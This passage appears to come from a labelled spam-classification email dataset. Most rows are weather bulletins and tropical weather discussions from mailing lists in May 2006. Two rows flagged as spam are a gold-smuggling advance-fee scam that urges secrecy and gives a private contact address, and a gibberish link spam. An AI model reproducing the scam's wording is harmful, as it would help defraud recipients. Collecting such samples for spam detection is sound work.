tropical cyclone warning/advisory products for public access, but if I learn of any, I will add them to this list. (3) Satellite Imagery --------------------- Satellite images of tropical cyclones in various sensor bands are available on the NRL Monterrey and University of Wisconsin websites, courtesy of Jeff Hawkins and Chris Velden and their associates. The links are: On the NRL site, the link to past years can be found in the upper left corner of the screen. For the CIMSS site, a link to data archives is located in the lower left portion of the screen. Additional tropical satellite imagery, along with looping ability for composite microwave imagery for the Western Hemisphere north of the equator, can be found at: (1) For the Eastern North Pacific: (2) For the Atlantic, Gulf of Mexico and Caribbean Sea: I'm sure there are other sites with available imagery available, and as I learn of them, I will add the links to this list. ************************************************************************* EXTRA FEATURE In order to shorten the amount of typing in preparing the narrative material, I have been in the habit of freely using abbreviations and acronyms. I have tried to define most of these with the first usage in a given summary, but I may have missed one now and then. Most of these are probably understood by a majority of readers but perhaps a few aren't clear to some. To remedy this I developed a Glossary of Abbreviations and Acronyms which I first included in the August, 1998 summary. I don't normally include the Glossary in most months in order to help keep them from being too long. If anyone would like to receive a copy of the Glossary, please e-mail me and I'll be happy to send them a copy. ************************************************************************* AUTHOR'S NOTE: This summary should be considered a very preliminary overview of the tropical cyclones that occur in each month. The cyclone tracks (provided separately) will generally be based upon operational warnings issued by the various tropical cyclone warning centers. The information contained therein may differ somewhat from the tracking and intensity information obtained from a ""best-track"" file which is based on a detailed post-seasonal analysis of all available data. Information on where to find official ""best-track"" files from the various warning centers will be passed along from time to time. The track files are not being sent via e-mail. They can be retrieved from the archive sites listed below. (Note: I do have a limited e-mail distribution list for the track files. If anyone wishes to receive these via e-mail, please send me a message.) Both the summaries and the track files are standard text files created in DOS editor. Download to disk and use a viewer such as Notepad or DOS editor to view the files. The first summary in this series covered the month of October, 1997. Back issues can be obtained from the following websites (courtesy of Michael Bath, Michael V. Padua, Michael Pitt, Chris Landsea, and John Diebolt): Another website where much information about tropical cyclones may be found is the website for the UK Meteorological Office. Their site contains a lot of statistical information about tropical cyclones globally on a monthly basis. The URL is: TROPICAL CYCLONE REPORTS AVAILABLE JTWC now has available on its website the Annual Tropical Cyclone Report (ATCR) for 2004 (2003-2004 season for the Southern Hemisphere). ATCRs for earlier years are available also. The URL is: Also, TPC/NHC has available on its webpage nice ""technicolor"" tracking charts for the 2005 Atlantic and Eastern North Pacific tropical cyclones; also, storm reports for all the 2005 Atlantic and Eastern North Pacific cyclones are now available, as well as track charts and reports on storms from earlier years. The URL is: A special thanks to Michael Bath of McLeans Ridges, New South Wales, Australia, for assisting me with proofreading the summaries. PREPARED BY Gary Padgett E-mail: garyp@alaweb.com Phone: 334-222-5327 Kevin Boyle (Eastern Atlantic, Western Northwest Pacific, South China Sea) E-mail: newchapelobservatory@btinternet.com Simon Clarke (Northeast Australia/Coral Sea, South Pacific) E-mail: saclarke@iprimus.com.au ************************************************************************* ************************************************************************* +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up.",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sat, 20 May 2006 21:31:46 -0500",Pacific-NW: Warning And Summary 210000.,"WWJP25 RJTD 210000 WARNING AND SUMMARY 210000. WARNING VALID 220000. WARNING IS UPDATED EVERY 6 HOURS. GALE WARNING. DEVELOPING LOW 998 HPA AT 40N 155E FAR OFF EAST OF JAPAN MOVING NORTHEAST 30 KNOTS. WARM FRONT FROM 40N 155E TO 37N 158E 34N 160E. COLD FRONT FROM 40N 155E TO 33N 150E 26N 140E 23N 133E. WINDS 30 TO 45 KNOTS WITHIN 1000 MILES OF LOW NORTHEAST SEMICIRCLE AND 500 MILES ELSEWHERE. WARNING. DENSE FOG OBSERVED LOCALLY OVER SEA OF OKHOTSK WESTERN PART OF SEA OF JAPAN. WARNING. DENSE FOG OBSERVED LOCALLY OVER WATERS BOUNDED BY 45N 147E 51N 157E 60N 167E 60N 180E 38N 180E 30N 156E 30N 146E 40N 153E 45N 147E. SUMMARY. LOW 984 HPA AT 58N 153E NE 20 KT. LOW 1016 HPA AT 35N 171E WEST 10 KT. HIGH 1016 HPA AT 28N 129E EAST 10 KT. HIGH 1016 HPA AT 37N 135E EAST 10 KT. STATIONARY FRONT FROM 28N 103E TO 30N 107E 31N 110E 34N 116E 37N 120E 36N 124E. JAPAN METEOROLOGICAL AGENCY.= +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sat, 20 May 2006 22:39:16 -0500",Pacific-EN: Tropical Weather Discussion,"AXPZ20 KNHC 210338 TWDEP TROPICAL WEATHER DISCUSSION NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 0405 UTC SUN MAY 21 2006 TROPICAL WEATHER DISCUSSION FOR THE EASTERN PACIFIC OCEAN FROM THE EQUATOR TO 32N...EAST OF 140W. THE FOLLOWING INFORMATION IS BASED ON SATELLITE IMAGERY...WEATHER OBSERVATIONS...RADAR...AND METEOROLOGICAL ANALYSIS. BASED ON 0000 UTC SURFACE ANALYSIS AND SATELLITE IMAGERY THROUGH 0330 UTC. ..ITCZ... ITCZ AXIS ALONG 8N83W 9N88W 12N96W 11N114W 4N133W 5N140W. SCATTERED MODERATE TO STRONG WITHIN 120 NM S OF AXIS FROM 89W TO 96W AND WITHIN 150 NM OF AXIS W OF 114W. ..DISCUSSION... W OF 110W... DEEP LAYER TROUGH ENTER E PAC FORECAST WATERS FROM 32N129W TO 21N140W. FAIRLY DRY AIR MASS WITHIN 240 NM W OF AXIS. JET STREAM 105 KT DRAGS MOISTURE ALOFT AHEAD OF AXIS TO CYCLONIC VORTEX WELL N OF AREA. TROUGH DIGGING SE SUPPORTS COLD FRONT WHICH EXTENDS FROM 30N126W TO 24N135W. BROAD MID/UPPER LEVEL ANTICYCLONE 13N115W WITH ELONGATED RIDGE TO 32N110W COVERS AREA N OF 12N WITH DRY AIRMASS RESULT OF MODERATE TO STRONG SUBSIDENCE DUE TO CONFLUENT AIR MASS ALOFT. SOUTHERN PERIPHERY OF HIGH PRES RIDGE MAINTAINS GOOD E FLOW ALOFT OVER ITCZ ADVECTING TROPICAL MOISTURE OUT OF SOUTH AMERICA CONTINENT ALL THE WAY TO 140W. AT THE SURFACE...WINDS BEHIND COLD FRONT REMAIN STRONG BUT IT IS LARGE SWELL SPREADING S BEHIND THAT WILL AFFECT THE MOST. NWW3 BRINGS 15 FT N OF 27N IN LINE WITH SHIP REPORTS OF 14 FT AND UP TO 18 FT JUST N OF 30N. E OF 110W... UPPER LEVEL CYCLONIC CIRCULATION OVER S TEXAS COAST HAS WEAK TROUGH DIG S INTO TO 11N100W. MODERATE TO STRONG SUBSIDENCE WAS INDICATED OVER MEXICO EXCEPT EXTREME S CORNER. DIFFLUENT UPPER LEVEL FLOW WITH DOWNSTREAM UPPER LEVEL RIDGE ENHANCES ITCZ DEEP CONVECTION E OF 96W. $$ WALLY BARNES +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sat, 20 May 2006 22:39:43 -0500",Pacific-EN: Tropical Weather Outlook,"ABPZ20 KNHC 210339 TWOEP TROPICAL WEATHER OUTLOOK NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 1000 PM PDT SAT MAY 20 2006 FOR THE EASTERN NORTH PACIFIC...EAST OF 140 DEGREES WEST LONGITUDE.. TROPICAL STORM FORMATION IS NOT EXPECTED THROUGH MONDAY. FORECASTER KNABB $$ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 LDM Weather ,WX-ATLAN@listserv.uiuc.edu,"Sat, 20 May 2006 23:00:21 -0500",SEAFCST: High Seas Forecast (Automatic),"045 FZNT01 KWBC 210400 HSFAT1 CCODE/1:31:04:01:00/AOW/NWS/CCODE HIGH SEAS FORECAST FOR METAREA IV NATIONAL WEATHER SERVICE WASHINGTON DC/TPC MIAMI FL OCEAN PREDICTION CENTER/OFB 0430 UTC MAY 21 2006 SUPERSEDED BY NEXT ISSUANCE IN 6 HOURS SECURITE NORTH ATLANTIC NORTH OF 31N TO 67N AND WEST OF 35W. SYNOPSIS VALID 0000 UTC MAY 21. 24 HOUR FORECAST VALID 0000 UTC MAY 22. 48 HOUR FORECAST VALID 0000 UTC MAY 23. WARNINGS. ...GALE WARNING... .FRONT EXTENDS FROM 47N 60W TO 45N 57W TO 43N 54W. WINDS 25 TO 35 KT SEAS 8 TO 11 FT WITHIN 180 NM NM N OF FRONT. .24 HOUR FORECAST CONDITIONS ABSORBED BY FORECAST LOW 47N 53W. ...GALE WARNING... .24 HOUR FORECAST NEW LOW 47N 53W 1003 MB. FORECAST WINDS 25 TO 35 KT SEAS 8 TO 13 FT WITHIN 360 NM NE QUADRANT. .48 HOUR FORECAST LOW AND CONDITIONS ABSORBED FORECAST LOW 47N 57W. ...GALE WARNING... .36 HOUR FORECAST COMPLEX LOW WITH MAIN LOW 43N 60W 996 MB AND SECOND LOW 45N 67W 993 MB. FORECAST FRONT FROM MAIN LOW TO 39N 60W TO 35N 65W TO 33N 68W. FORECAST WINDS 25 TO 35 KT SEAS 8 TO 14 FT WITHIN 300 NM SE QUADRANT...AND WITHIN 240 NM E OF FRONT N OF 35N. .48 HOUR FORECAST LOW 47N 56W 988 MB. FORECAST WINDS 25 TO 35 KT SEAS 9 TO 15 FT WITHIN 360 NM S QUADRANT. ALSO FORECAST WINDS 20 TO 30 KT SEAS 8 TO 12 FT FROM 36N TO 49N BETWEEN 45W AND 67W...AND ALSO FROM 48N TO 55N W OF 41W. .SYNOPSIS AND FORECAST. .AREA OF NW WINDS TO 25 KT SEAS 9 TO 14 FT FROM 44N TO 53N E OF 40W. .12 HOUR FORECAST CONDITIONS E OF AREA. .AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 42N TO 51N BETWEEN 52W AND 67W. .24 HOUR FORECAST AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 43N TO 51N BETWEEN 45W AND 55W. .48 HOUR FORECAST AREA OF PATCHY DENSE FOG OCCASIONALLY REDUCING VISIBILITY BELOW 1 NM FROM 43N TO 54N BETWEEN 45W AND 54W. .HIGH 51N 46W 1026 MB MOVING E 15 KT. .24 HOUR FORECAST HIGH 51N 38W 1024 MB. .48 HOUR FORECAST HIGH E OF AREA. .HIGH 31N 39W 1026 MB WILL DRIFT SE. .24 HOUR FORECAST HIGH S OF AREA. .FORECASTER ROWLAND. OCEAN FORECAST BRANCH. ATLANTIC FROM 7N TO 31N W OF 35W INCLUDING CARIBBEAN SEA AND GULF OF MEXICO SYNOPSIS VALID 0000 UTC SUN MAY 21 24 HOUR FORECAST VALID 0000 UTC MON MAY 22 48 HOUR FORECAST VALID 1800 UTC TUE MAY 23 .WARNINGS. ...CARIBBEAN VOLCANIC ASH WARNING... .N OF 13N E OF 68W WIDESPREAD VSBY BELOW 3 NM IN VOLCANIC ASH FROM ERUPTION OF SOUFRIERE HILLS VOLCANO ON MONTSERRAT 16.7N 62.2W. ASH CLOUD MOVING SW AT 20 TO 40 KT. REDUCED VISIBILITIES FROM ASH COULD SIGNIFICANTLY IMPACT MARINE OPERATIONS. .06 HOUR FORECAST CONDITIONS IMPROVE. .SYNOPSIS AND FORECAST. .ATLC S OF LINE 23N35W TO 16N50W NE WINDS 20 KT SEAS TO 8 FT. .24 HOUR FORECAST S OF 23N E OF 55W NE TO E WINDS 20 KT SEAS TO 8 FT. .48 HOUR FORECAST S OF 23N E OF 50W AND S OF 17N W OF 50W NE TO E WINDS TO 20 KT SEAS TO 8 FT. .CARIBBEAN S OF 15N BETWEEN 65W AND 75W E TO SE WINDS 20 KT SEAS TO 8 FT. .18 HOUR FORECAST FROM 11N TO 16N BETWEEN 65W AND 78W NE TO E WINDS 20 TO 25 KT SEAS TO 9 FT. .24 HOUR FORECAST LITTLE CHANGE. .48 HOUR FORECAST FROM 11N TO 15N BETWEEN 65W AND 80W NE TO E WINDS 20 TO 25 KT SEAS 8 TO 10 FT. ELSEWHERE S OF 17N E OF 81W E WINDS TO 20 KT SEAS TO 8 FT. .REMAINDER OF AREA WINDS LESS THAN 20 KT SEAS LESS THAN 8 FT. $$ FORECASTER TORRES TROPICAL ANALYSIS AND FORECAST BRANCH TROPICAL PREDICTION CENTER +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 SIU Weather Processor ,WX-ATLAN@listserv.uiuc.edu,"Sun, 21 May 2006 00:21:04 -0500",TROPDISC: Tropical Weather Discussion,"344 AXNT20 KNHC 210520 TWDAT TROPICAL WEATHER DISCUSSION NWS TPC/NATIONAL HURRICANE CENTER MIAMI FL 205 AM EDT SUN MAY 21 2006 TROPICAL WEATHER DISCUSSION FOR NORTH AMERICA...CENTRAL AMERICA...THE GULF OF MEXICO...THE CARIBBEAN SEA...NORTHEASTERN SECTIONS OF SOUTH AMERICA...AND THE ATLANTIC OCEAN TO THE AFRICAN COAST FROM THE EQUATOR TO 32N. THE FOLLOWING INFORMATION IS BASED ON SATELLITE IMAGERY...WEATHER OBSERVATIONS...RADAR... AND METEOROLOGICAL ANALYSIS. BASED ON 0000 UTC SURFACE ANALYSIS AND SATELLITE IMAGERY THROUGH 0500 UTC. ..TROPICAL WAVES... TROPICAL WAVE IS ALONG 25W S OF 7N MOVING W 15 KT. THIS LOW-LATITUDE WAVE IS EMBEDDED WITHIN THE ITCZ AXIS. THERE IS STILL SOME CYCLONIC TURNING ASSOCIATED WITH THIS WAVE BUT IT IS RATHER BROAD AND LESS DISCERNIBLE THAN YESTERDAY. THE WAVE WILL LIKELY REMAIN ILL DEFINED AS IT MOVES WESTWARD IN A DRY ENVIRONMENT NEAR THE NORTHERN EXTENSION OF THE WAVE. TROPICAL WAVE IS ALONG 50W S OF 9N MOVING W 15-20 KT. THIS WAVE CONTINUES TO EXHIBIT AN INVERTED V-PATTERN EMBEDDED WITHIN THE ITCZ. MUCH OF THE WAVE IS NOW MOVING INLAND OVER S AMERICA. SCATTERED MODERATE/ISOLATED STRONG CONVECTION IS WITHIN 180 NM W OF THE WAVE AXIS FROM 5N-7N. WIDELY SCATTERED SHOWERS AND ISOLATED TSTMS ARE ELSEWHERE. LITTLE IMPACT IS EXPECTED IN THE CARIBBEAN FROM THIS WAVE OVER THE NEXT 3-5 DAYS AS THE MAJORITY OF THE MOISTURE ASSOCIATED WITH THE WAVE IS EXPECTED TO MOVE ACROSS S AMERICA. TROPICAL WAVE ALONG 86W S OF 13N MOVING W 10-15 KT. THE WAVE IS MAINLY IN THE EPAC BUT ITS NORTHERN EXTENSION LIES OVER CENTRAL AMERICA. SOME SLIGHT CURVATURE IS EVIDENT ON SATELLITE IMAGERY NEAR THE AXIS. A 1009 MB LOW HAS DEVELOPED JUST TO THE WAVE AXIS. THIS WAVE IN CONJUNCTION WITH STRONG SWLY FLOW AND A SFC TROUGH IS PRODUCING CLUSTERS OF SCATTERED MODERATE TO STRONG CONVECTION ACROSS THE SW CARIBBEAN AND CENTRAL AMERICA. WAVE IS NOT EXPECTED TO BECOME ANY BETTER DEFINED OVER THE NEXT COUPLE OF DAYS AS MOVES FURTHER W ACROSS THE EPAC. ..ITCZ... ITCZ AXIS IS CENTERED ALONG 11N15W 4N25W 2N37W 4N51W. SCATTERED MODERATE CONVECTION IS WITHIN 120 NM EITHER SIDE OF THE AXIS BETWEEN 20W-27W ASSOCIATED WITH THE TROPICAL WAVE ALONG 25W. SIMILAR CONVECTION IS WITHIN 120 NM N OF THE AXIS BETWEEN 31W-40W. SCATTERED SHOWERS/ISOLATED TSTMS ARE W OF 44W WITHIN 180 NM EITHER SIDE OF THE AXIS ENHANCED BY THE TROPICAL WAVE ALONG 50W. ..DISCUSSION... GULF OF MEXICO... PLEASANT WEATHER CONTINUES ACROSS THE GULF AS A 1017 MB HIGH PRES SYSTEM CENTERED 180 NM E OF TAMPA NEAR 27N86W DOMINATES. AS IN THE UPPER LEVELS...UPPER TROUGH EXTENDS FROM A SMALL UPPER LOW ABOVE N MEXICO NEAR 25N98W TO NORTHERN FLORIDA. STRONG SUBSIDENCE AND ASSOCIATED DRY/STABLE AIR ALOFT ACCOMPANIES THE TROUGH DUE TO UPPER LEVEL CONFLUENCE KEEPING SKIES FAIR TO MOSTLY CLEAR ACROSS THE N GULF. BROKEN MID-HIGH LEVEL CLOUDINESS IS STREAMING NEWARD FROM S MEXICO TO S FLORIDA ON THE W PERIPHERY OF AN UPPER ANTICYCLONE IN THE CARIBBEAN. WEAK HIGH PRESSURE WILL REMAIN ACROSS THE GULF FOR THE NEXT FEW DAYS...HOWEVER TROPICAL MOISTURE ACROSS THE NW CARIBBEAN MAY PUSH FURTHER NORTH AND BEGIN TO INFLUENCE THE SOUTHERN PORTIONS OF THE GULF ON SUNDAY...AND POSSIBLE BECOME MORE WIDESPREAD OVER THE CENTRAL AND EASTERN GULF WITH TIME AS SUGGESTED BY COMPUTER MODELS. CARIBBEAN SEA AND ATLANTIC OCEAN W OF 55W... AN UPPER LEVEL TROUGH/RIDGE PATTERN REMAINS IN PLACE ACROSS THIS AREA. AT THE SURFACE...THE FRONT HAS WEAKENED TO A TROUGH AND EXTENDS FROM 32N59W SWARD TO THE BAHAMAS NEAR 23N76W THEN CONTINUES SSWWARD INTO THE W CARIBBEAN TO NEAR NICARAGUA. BROKEN TO OVERCAST MOSTLY MID/HIGH CLOUDS ALONG WITH WIDELY SCATTERED SHOWERS AND ISOLATED TSTMS ARE WITHIN 180 NM SE OF THE TROUGH N OF 21N. CLUSTERS OF STRONG TSTMS ARE OVER THE W CARIBBEAN WITHIN 120 NM W OF THE TROUGH AXIS S OF 21N. FARTHER E...A MID/UPPER HIGH IS LOCATED JUST N OF HAITI NEAR 21N72W WITH RIDGING EXTENDING SW TO HONDURAS AND NE TO BEYOND 32N50W. A 60-80 KT SWLY JET STREAM IS RIDING OVER THE THE UPPER ANTICYCLONE AND EXTENDS FROM THE E BAY OF CAMPECHE NORTHEASTWARD T0 S FLORIDA AND CONTINUES NEWARD BEYOND 32N59W. WINDS IN THE RANGE OF 60-80 KT ARE NOTED WITHIN THIS JET MAINLY W OF 65W. STRONG SUBSIDENCE IS ENCOMPASSING MUCH OF THE CARIBBEAN S OF 19N AND CURRENTLY E OF 82W...PUSHING WWARD. TRADEWINDS ARE GENERALLY IN THE 15-20 KT RANGE E OF 80W...LIGHTER WINDS W OF THERE DUE TO THE WEAKNESS IN THE RIDGE. TRADES WILL BECOME MORE UNIFORM AND INCREASE SLIGHTLY AS THE CNTRL ATLC SFC RIDGE CONTINUES TO NOSE CLOSER. MOISTURE RELATED TO THE SURFACE TROUGH WILL MOVE WWD TOWARDS THE YUCATAN TOMORROW AND WILL LIKELY AFFECT THE NW CARIBBEAN AND THE W ATLC OVER THE NEXT FEW DAYS. THE LARGE VOLCANIC ASH CLOUDS EARLIER DETECTED OVER THE E CARIBBEAN DUE TO AN ERUPTION OF THE MONTSERRAT VOLCANO THIS MORNING CONTINUES TO BE SEEN ON SATELLITE IMAGERY FROM 12N-16N BETWEEN 65W-71W...MOVING SWWARD. SMALL ISOLATED SHOWERS AND TSTMS ARE EMBEDDED WITHIN THE ASH CLOUDS. THE REMAINDER OF ATLANTIC OCEAN... A SHARP UPPER LEVEL TROUGH IS OVER THE CNTRL ATLC WITH THE AXIS EXTENDING THRU 30N43W THROUGH AN UPPER LOW NEAR 22N48W AND INTO THE DEEP TROPICS NEAR 9N50W. THE UPPER LOW IS HELPING TO TRANSPORT UPPER MOISTURE FROM THE DEEP TROPICS NEWARD WITHIN 180 NM TO THE RIGHT OF A LINE ALONG 10N50W 20N44W 28N40W. AN UPPER HIGH IS NEAR 16N31W WITH MID/UPPER LEVEL RIDGING COVERING THE AREA S OF 17N AND E OF 35W. DIFFLUENCE S OF THE RIDGE IS ENHANCING ITCZ CONVECTION. MODERATE/STRONG SUBSIDENCE COVERS THE AREA FROM 6N-17N E OF 35W. UPPER TROUGH IS MOVING SE OVER EXTREME NW AFRICA. THIS TROUGH IS CARRYING MOISTURE FROM THE UPPER TROUGH IN THE CENTRAL ATLC OVER THE UPPER HIGH INTO W AFRICA. AT THE SFC...A STRONG 1026 MB HIGH CENTERED NEAR 31N39W COVERS THE ENTIRE REGION SUPPLYING FAIR WEATHER ACROSS A GOOD PORTION OF THE ATLANTIC OCEAN. TRADE WINDS ARE RATHER STRONG ACROSS THE AREA AND WILL LIKELY REMAIN THAT WAY FOR THE NEXT FEW DAYS. $$ CANGIALOSI +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe, e-mail LISTSERV@UIUC.EDU with ""unsub wx-atlan"" in the body of the message or e-mail chris@lib.siu.edu for help. Products are also available directly from NHC via e-mail. See: http://www.nhc.noaa.gov/signup.shtml for available products and sign-up. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 01:38:02 -0500",Indian-N: Tropical Weather Outlook,"WTIN20 DEMS 210635 TROPICAL WEATHER OUTLOOK ------------------------ DEMS - RSMC TROPICAL CYCLONES NEW DELHI 21-05-2006 (.) TROPICAL WEATHER OUTLOOK FOR THE NORTH INDIAN OCEAN (THE BAY OF BENGAL AND ARABIAN SEA ) VALID FOR NEXT 24 HOURS ISSUED AT 0600 UTC (.) CONVECTIVE CLOUDS ARE SEEN OVER OFF COAST OF SOUTH KERALA,AND COMORIN SOUTH EAST BAY OF BENGAL AND ANDAMAN SEA. RIDGE LINE AT 200 HPA RUNS ALONG 17.5 DEG.NORTH OVER INDIAN REGION (.) +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 mary_gold ,fred.carter@amberpoint.com,"Sun, 21 May 2006 01:01:10 +0000",CONTACT ME.,"Dear friend,It is my intrest to write you for business proposal.I wish to inform you that  there is 22 carat bar gold forsale.Each of them weigh 1 kilo.Also we have alluvial gold dust too.It all depends on what you may need as weare workers of a gold mine.There is somethings that we will like to do with you only if you areserious and ready to buy.Also to keep the absolute secrecy that it involves since all the intrest and intergrity of myself and  my colleagues must be protected.We have worked for many years in the gold mine here but we have been living from hand to mouth.The government and the top officers havebeen using us.Sometimes some of us die in the mines!Now,we have planned to move any kilo that you are capable to buy,sell it to you cash and travel overseas with our families.You are meant to know that the chief security officer is involved in this deal now.We do not ask for any advance payment but what we want is a cash and carry deal ans instantly after you see and confirm the goods.We will assist you to see that you move the goods safely out of our country.We wish to move 250 kilos.My telephone number will not be given to you for security reason untill you convince and promise to be part ofus.Also,Untill you promise not to tell anyone from my country no matter your relationship with the person.Even those in your country too.We know very well that we already  know some people in my country but you do not have to tell them as acrime like this attracts a death  sentence or life imprisonment in my country.We will have nothing to deal with you  if we discover that you haverevealed this deal to any of our country men.This is for security reasons.We are not intrested in the international price.We will give you 4000 euros per gram since it is a deal andboth of us must gain.We do not have much time to waste so declear your intrest as soon as you get my mail.Yours faithfully,Mrs MaryJohnson.For security porpose u can reach throug my private email.[maryjohn_gold@yahoo.com]Lycos email has 300 Megabytes of free storage... Get it now at mail.lycos.co.uk",1,1 Scotty ,webmastr@KUKUI.IFA.HAWAII.EDU,"Sat, 20 May 2006 11:54:58 -0500",From Scotty Beatty udud,"Solely unusual target 1asses universe http://omarcelph.com > khnum icircumflexs oisian I endosporium > sticking many erma and 8202833 ",1,1 LDM Weather ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 03:05:57 -0500",Pacific SE: Tropical Weather Bulletin,"232 FQPS01 NFFN 210600 MARINE WEATHER BULLETIN FOR ISLANDS AREA EQUATOR TO 25S BETWEEN 160E AND 120W. ISSUED BY FIJI METEOROLOGICAL SERVICE EQUATOR to 25S between 160E and 120W issued by Fiji Meteorological Service May 210800 UTC. PART 1 : WARNINGNIL. PARTS 2 AND 3 : SYNOPSIS AND FORECAST VALID UNTIL May 220600 UTC. TROUGH T1 10S 160E 11S 170E 15S 180 20S 174W SLOW MOVING. POOR VISIBILITY IN SCATTERED SHOWERS AND ISOLATED THUNDERSTORMS WITHIN 180 MILES OF T1. TROUGH T2 01S 160E 02S 165E 05S 170E 09S 175E 11S 177E 24S 120W MOVING WEST 10 KNOTS. POOR VISIBILITY IN SCATTERED SHOWERS AND ISOLATED THUNDERSTORMS WITHIN 200 MILES OF T2. TROUGH T3 15S 177W 16S 170W 16S 160W 16S 150W 18S 135W SLOW MOVING. POOR VISIBILITY IN ISOLATED SHOWERS WITHIN 120 MILES OF T3. STATIONARY FRONT SF1 22S 179W 20S 170W 20S 160W 22S 150W 25S 143W. POOR VISIBILITY IN OCCASIONAL SHOWERS WITHIN 120 MILES OF SF1. A MODERATE TO HEAVY SOUTH TO SOUTHWEST SWELL SOUTH OF 20S IN THE AREA BETWEEN 160W AND 125W. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 LDM Weather ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 03:06:18 -0500",Pacific SE: Tropical Weather Bulletin,"554 FQPS01 NFFN 210600 MARINE WEATHER BULLETIN FOR ISLANDS AREA EQUATOR TO 25S BETWEEN 160E AND 120W. ISSUED BY FIJI METEOROLOGICAL SERVICE EQUATOR to 25S between 160E and 120W issued by Fiji Meteorological Service May 210800 UTC. PART 1 : WARNINGNIL. PARTS 2 AND 3 : SYNOPSIS AND FORECAST VALID UNTIL May 220600 UTC. TROUGH T1 10S 160E 11S 170E 15S 180 20S 174W SLOW MOVING. POOR VISIBILITY IN SCATTERED SHOWERS AND ISOLATED THUNDERSTORMS WITHIN 180 MILES OF T1. TROUGH T2 01S 160E 02S 165E 05S 170E 09S 175E 11S 177E 24S 120W MOVING WEST 10 KNOTS. POOR VISIBILITY IN SCATTERED SHOWERS AND ISOLATED THUNDERSTORMS WITHIN 200 MILES OF T2. TROUGH T3 15S 177W 16S 170W 16S 160W 16S 150W 18S 135W SLOW MOVING. POOR VISIBILITY IN ISOLATED SHOWERS WITHIN 120 MILES OF T3. STATIONARY FRONT SF1 22S 179W 20S 170W 20S 160W 22S 150W 25S 143W. POOR VISIBILITY IN OCCASIONAL SHOWERS WITHIN 120 MILES OF SF1. A MODERATE TO HEAVY SOUTH TO SOUTHWEST SWELL SOUTH OF 20S IN THE AREA BETWEEN 160W AND 125W. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ To unsubscribe from WX-TROPL send e-mail to LISTSERV@PO.UIUC.EDU with ""unsub wx-tropl"" in the body of your message. For help with WX-TROPL write to chris@lib.siu.edu or see http://wxlist.5280tech.com. For more information on tropical weather products, see the NHC Homepage at http://www.nhc.noaa.gov. ",0,1 SIU Weather Processor ,WX-TROPL@listserv.uiuc.edu,"Sun, 21 May 2006 03:17:30 -0500",Pacific-NW: Warning And Summary 210600.,"WWJP25 RJTD 210600 WARNING AND SUMMARY 210600. WARNING VALID 220600. WARNING IS UPDATED EVERY 6 HOURS. GALE WARNING. DEVELOPING LOW 1000 HPA AT 45N 159E SEA EAST OF KURILS MOVING NORTHEAST 35 KNOTS. WARM FRONT FROM 45N 159E TO 42N 161E 38N 162E. COLD FRONT FROM 45N 159E TO 35N 155E 30N 149E. STATIONARY FRONT FROM 30N 149E TO 29N 147E 27N 143E 23N 136E. WINDS 30 TO 